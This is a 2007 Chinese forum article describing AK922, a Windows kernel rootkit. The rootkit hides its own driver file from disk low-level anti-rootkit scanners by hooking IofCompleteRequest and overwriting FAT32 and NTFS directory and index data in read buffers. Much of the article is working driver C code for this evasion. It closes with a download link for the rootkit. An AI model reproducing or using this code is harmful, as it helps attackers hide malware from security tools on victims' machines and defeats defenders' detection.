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AK922: 突破磁盘低级检测实现文件隐藏


创建时间:2007-09-18
文章属性:原创
文章提交:Azy (aawwppeerr_at_126.com)

AK922: 突破磁盘低级检测实现文件隐藏
作者:Azy
email: Azy000@gmail.com
完成于:2007-08-08

   目前,一些已公开的主流anti-rootkit检测隐藏文件主要有两种方法:第一种是文件系统层的检测,属于这一类的有icesword,darkspy,gmer等。第二种便是磁盘级别的低级检测(Disk Low-Level Scanning),属于这一类的ark也很多,典型代表为rootkit unhooker,filereg(is的插件),rootkit revealer,blacklight等。当然,还有一些工具,它们在应用层上通过调用ZwQueryDirectoryFile来实施检测。
   驱动也好,应用也罢,说白了就是直接或间接发送IRP到下层驱动。第一类的发送到FSD中(fastfat.sys/ntfs.sys),第二类被发送到磁盘驱动(disk.sys),而后IRP便会携带相应的文件信息返回,这时上层应用再根据返回信息进行处理和判断。但是由于Disk级比FS级更底层,IRP返回给我们的是更加接近数据原始组织方式的磁盘扇区信息,所以在Disk层上实施文件检测可以得到更令人信服的结果。但这并不等于说这类检测不能被击败。本文就将介绍一种绕过该类检测的实现方法,当然,这也是在AK922中使用的。
   对于要实现文件隐藏的RK,与其说是“绕过”,还不如说是“拦截” -- 挂钩某些内核函数调用,以便在返回上层之前我们有机会过滤掉待隐藏文件的信息。
   AK922采用的方法是Hook内核函数IofCompleteRequest。这个函数很有意思,因为它不仅是一个几乎在任何驱动中都要调用的函数,而且参数中正好含有IRP。有了IRP,就有了一切。这些特性决定了它很适合做我们的“傀儡”。但更重要的是,一般在驱动中调用IofCompleteRequest之时IRP操作都已完毕,IRP中相关域已经填充了内容,这就便于我们着手直接进行过滤而不用再做诸如发送IRP安装完成例程之类的操作。
   下面就着重说一下工作流程:
   首先,判断MajorFunction是不是IRP_MJ_READ以及IO堆栈中的DeviceObject是否是磁盘驱动的设备对象,因为这才是我们要处理的核心IRP,所有ark直接发送到Disk层的IRP在这里都可以被拦截到。
   接下来的处理要特别注意,进入到这里时IRQL是在APC_LEVEL以上的,因此我们不能碰任何IRP中的用户模式缓冲区,一碰极有可能蓝,也就是说我们不能直接处理相关磁盘扇区信息,而必须通过ExQueueWorkItem排队一个WorkItem的方法来处理。除此之外,由于Disk层在设备堆栈中处于靠下的位置,大部分IRP发到这里时当前进程上下文早已不是原始IRP发起者的进程上下文了,这里的发起者应理解为ark进程。幸运的是在IRP的Tail.Overlay.Thread域中还保存着原始ETHREAD指针,为了操作用户模式缓冲区,必须调用KeAttachProcess切到IRP发起者的上下文环境中,而这个工作只能在处于PASSIVE_LEVEL级上的工作者线程中执行。在DISPATCH_LEVEL级上,做的事越少越好。
   刚开始我还分两种情况进行处理:因为并不是所有的IRP都不处在原始上下文中,比如icesword发的IRP到这里还是处在icesword.exe进程中的,这时我认为可以不用排队工作项,这样就可以节省很多系统资源,提高过滤效率。于是我试图在DISPATCH_LEVEL级上直接操作用户缓冲区,但这根本行不通。驱动很不稳定,不一会就蓝了。故索性老老实实地排队去了,然后再分情况处理。代码如下:

// 处理Disk Low-Level Scanning
if(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters.Read.Length != 0)
{    
        
    orgnThread = Irp->Tail.Overlay.Thread;
    orgnProcess = IoThreadToProcess(orgnThread);
        
    if(Irp->MdlAddress)
    {        
        UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset);
            
        // UserBuffer必须有效
        if(UserBuffer)
        {                    
            
            if(KeGetCurrentIrql() == DISPATCH_LEVEL)
            {                    
            
                RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX));
                
                WorkerCtx->UserBuffer = UserBuffer;
                WorkerCtx->Length = irpSp->Parameters.Read.Length;
                WorkerCtx->EProc = orgnProcess;
                
                ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx);
                                
                ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue);
            }
        }
        
    }
}
  

   来到工作者线程,到了PASSIVE_LEVEL级上,切换上下文之后,似乎安全多了。但是以防万一,操作用户模式缓冲区之前还是要调用ProbeForXxx函数先判断一下。相关代码如下:

VOID WorkerThread(PVOID Context)
{
    KIRQL irql;
    PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc;
    PEPROCESS currProc = ((PWORKERCTX)Context)->currEProc;
    //PMDL mdl;
        

    if(((PWORKERCTX)Context)->UserBuffer)
    {
        if(eproc != currProc)
        {

            KeAttachProcess(eproc);

            __try{
            
                // ProbeForWrite must be running <= APC_LEVEL
                ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
                HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
            }

            __except(EXCEPTION_EXECUTE_HANDLER){

                //DbgPrint("we can't op the buffer now :-(");
                KeDetachProcess();    
                return;
            }
            
            KeDetachProcess();    
            
        }else{

            __try{
            
                // ProbeForWrite must be running <= APC_LEVEL
                ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
                HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
            }

            __except(EXCEPTION_EXECUTE_HANDLER){}
        }
    
    }
}

   准备工作终于算是做得差不多了,下面就开始真正涂改磁盘扇区内容了。这里将涉及到FAT32和NTFS磁盘文件结构,我先把要用到的主要结构列出来,其余的大家可以参考《NTFS Documentation》。

typedef struct _INDEX_HEADER{
    UCHAR            magic[4];
    USHORT            UpdateSequenceOffset;
    USHORT            SizeInWords;
    LARGE_INTEGER    LogFileSeqNumber;
    LARGE_INTEGER    VCN;
    ULONG            IndexEntryOffset;    // needed!
    ULONG            IndexEntrySize;
    ULONG            AllocateSize;
}INDEX_HEADER, *PINDEX_HEADER;


typedef struct _INDEX_ENTRY{
    LARGE_INTEGER        MFTReference;
    USHORT            Size;                // needed!
    USHORT            FileNameOffset;
    USHORT            Flags;
    USHORT            Padding;
    LARGE_INTEGER        MFTReferParent;
    LARGE_INTEGER        CreationTime;
    LARGE_INTEGER        ModifyTime;
    LARGE_INTEGER        FileRecModifyTime;
    LARGE_INTEGER        AccessTime;
    LARGE_INTEGER        AllocateSize;
    LARGE_INTEGER        RealSize;
    LARGE_INTEGER        FileFlags;
    UCHAR            FileNameLength;
    UCHAR            NameSpace;
    WCHAR            FileName[1];
}INDEX_ENTRY, *PINDEX_ENTRY;

   在读取磁盘文件信息时每次都是以一个扇区大小(512 bytes)的整数倍进行的,如果不了解相应卷的组织形式和数据结构,那么感觉就是数据多而繁杂,搜索效率也很低。但辅以上述结构便可快速定位待隐藏文件并进行涂改。这里不得不说一句,算法的高效是很重要的,如果采用暴力搜索的方式,那么系统BSOD的概率会大大增加。
   在FAT32卷上,当AK922搜索到文件AK922.sys的目录项时,将其0x0偏移处的文件名的第一个字节置为"0xe5",即标记为删除。这样即可达到欺骗ark的目的。但为了更加隐蔽,不让winhex察觉出来,最好把文件名全部清0。
   处理NTFS卷稍微麻烦些,文件记录和索引项都要抹干净,具体实现见代码,这里不再赘述。

VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)
{
    ULONG i;
    BOOLEAN bIsNtfsIndex;
    BOOLEAN bIsNtfsFile;
    ULONG offset = 0;
    ULONG indexSize = 0;
    PINDEX_ENTRY currIndxEntry = NULL;
    PINDEX_ENTRY preIndxEntry = NULL;
    ULONG currPosition;

    
    bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);
    bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);

    if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)
    {            
    
        for(i = 0; i < BufLen/0x20; i++)
        {
            if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))
            {

                *(PUCHAR)UserBuf        = 0xe5;
                *(PULONG)((ULONG)UserBuf + 0x1)    = 0;

                break;
                    
            }

            UserBuf = (PVOID)((ULONG)UserBuf + 0x20);
        
        }

    } else if(bIsNtfsFile) {

        //DbgPrint("FILE0...");

        for(i = 0; i < BufLen / FILERECORDSIZE; i++)
        {
            if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))
            {
                memset((PVOID)UserBuf, 0, 0x4);
                memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);
                break;
            }
                
            UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);
                
        }
            
    } else if(bIsNtfsIndex) {
                            
        //DbgPrint("INDX...");
        // Index Entries
        
        offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;
        indexSize = BufLen - offset;
        currPosition = 0;

        currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);
        //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);
                
        while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)
        {
            if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))
            {
                memset((PVOID)currIndxEntry->FileName, 0, 18);

                if(currPosition == 0)
                {
                    ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;
                    break;
                }

                preIndxEntry->Size += currIndxEntry->Size;
                
                break;
            }

            currPosition += currIndxEntry->Size;
            preIndxEntry = currIndxEntry;
            currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);
                    
        }
    }
}

   水平有限,欢迎大家与我交流。


参考资料:

[1] - 《NTFS Documentation》
[2] - Azy,《IceSword & Rootkit Unhooker驱动简析》

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关于AK922(AzyKit):我写的一个只实现文件隐藏的RK,可以bypass本文提到的所有ark。
Download @ http://www.wiiupload.net/sf/65b4e75ec4